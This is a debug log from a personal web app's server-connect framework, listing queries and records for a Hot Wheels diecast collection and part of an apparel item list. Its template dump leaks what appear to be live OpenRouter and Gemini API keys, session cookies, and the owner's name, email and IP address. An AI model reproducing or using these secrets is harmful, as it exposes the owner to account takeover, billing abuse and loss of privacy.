      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-08T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 25,
      model_name: 'Terra-Tracktyl',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 24,
      model_name: '2018 Honda Civic Type R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 23,
      model_name: '95 Mazda RX-7 Drift',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-04T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW 70s vs 90s',
      brand_id: 71,
      series_id: 99,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 22,
      model_name: 'Jaguar XJC V12 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wide Widebody',
      brand_id: 71,
      series_id: 104,
      case: 'N',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 21,
      model_name: '67 Austin Mini Van',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'P',
      vehicle_brand_name: 'Austin',
      vehicle_brand_id: 136,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 20,
      model_name: 'Czinger 21C',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Czinger',
      vehicle_brand_id: 135,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 19,
      model_name: '70 Dodge Power Wagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-20T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'C',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:06:46.089Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:06:46.089Z server-connect:app Executing action step identify
2026-02-03T13:06:46.089Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:46.089Z server-connect:output identity: 1
2026-02-03T13:06:46.089Z server-connect:app Executing action step restrict
2026-02-03T13:06:46.089Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:46.090Z server-connect:output restrict: undefined
2026-02-03T13:06:46.090Z server-connect:app Executing action step condition
2026-02-03T13:06:46.090Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:06:46.090Z server-connect:app Executing action step update
2026-02-03T13:06:46.090Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:06:46.091Z server-connect:output update: { affected: 1 }
2026-02-03T13:06:46.091Z server-connect:app Executing action step upload
2026-02-03T13:06:46.091Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:06:46.091Z server-connect:output upload_image: []
2026-02-03T13:06:46.091Z server-connect:app Executing action step repeat
2026-02-03T13:06:46.091Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-03T13:06:46.091Z server-connect:output repeat_images: []
2026-02-03T13:06:46.091Z server-connect:output condition: undefined
2026-02-03T13:06:46.296Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:06:46.296Z server-connect:app Executing action step identify
2026-02-03T13:06:46.296Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:46.297Z server-connect:output identity: 1
2026-02-03T13:06:46.297Z server-connect:app Executing action step restrict
2026-02-03T13:06:46.297Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:46.297Z server-connect:output restrict: undefined
2026-02-03T13:06:46.297Z server-connect:app Executing action step paged
2026-02-03T13:06:46.297Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:06:46.300Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 70,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:06:52.389Z server-connect:router Serving templateView /diecast
2026-02-03T13:06:52.389Z server-connect:app Executing action step identify
2026-02-03T13:06:52.389Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:52.389Z server-connect:output identity: 1
2026-02-03T13:06:52.389Z server-connect:app Executing action step restrict
2026-02-03T13:06:52.389Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:06:52.390Z server-connect:output restrict: undefined
2026-02-03T13:06:52.390Z server-connect:router Render template layouts/main
2026-02-03T13:06:52.390Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { manufacturer: '71', offset: '50' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'manufacturer=71&offset=50',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-03T13:06:53.326Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-03T13:06:53.327Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-03T13:06:53.328Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:06:53.331Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:06:53.331Z server-connect:app Executing action step identify
2026-02-03T13:06:53.331Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:53.331Z server-connect:output identity: 1
2026-02-03T13:06:53.331Z server-connect:app Executing action step restrict
2026-02-03T13:06:53.331Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:53.332Z server-connect:app Executing action step identify
2026-02-03T13:06:53.332Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:53.332Z server-connect:output identity: 1
2026-02-03T13:06:53.332Z server-connect:app Executing action step restrict
2026-02-03T13:06:53.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:53.334Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:06:53.334Z server-connect:output restrict: undefined
2026-02-03T13:06:53.334Z server-connect:app Executing action step select
2026-02-03T13:06:53.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-03T13:06:53.335Z server-connect:output restrict: undefined
2026-02-03T13:06:53.335Z server-connect:app Executing action step single
2026-02-03T13:06:53.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-03T13:06:53.336Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:06:53.336Z server-connect:app Executing action step identify
2026-02-03T13:06:53.336Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:53.336Z server-connect:output identity: 1
2026-02-03T13:06:53.336Z server-connect:app Executing action step restrict
2026-02-03T13:06:53.336Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:53.337Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-03T13:06:53.339Z server-connect:output restrict: undefined
2026-02-03T13:06:53.339Z server-connect:app Executing action step select
2026-02-03T13:06:53.339Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:06:53.342Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
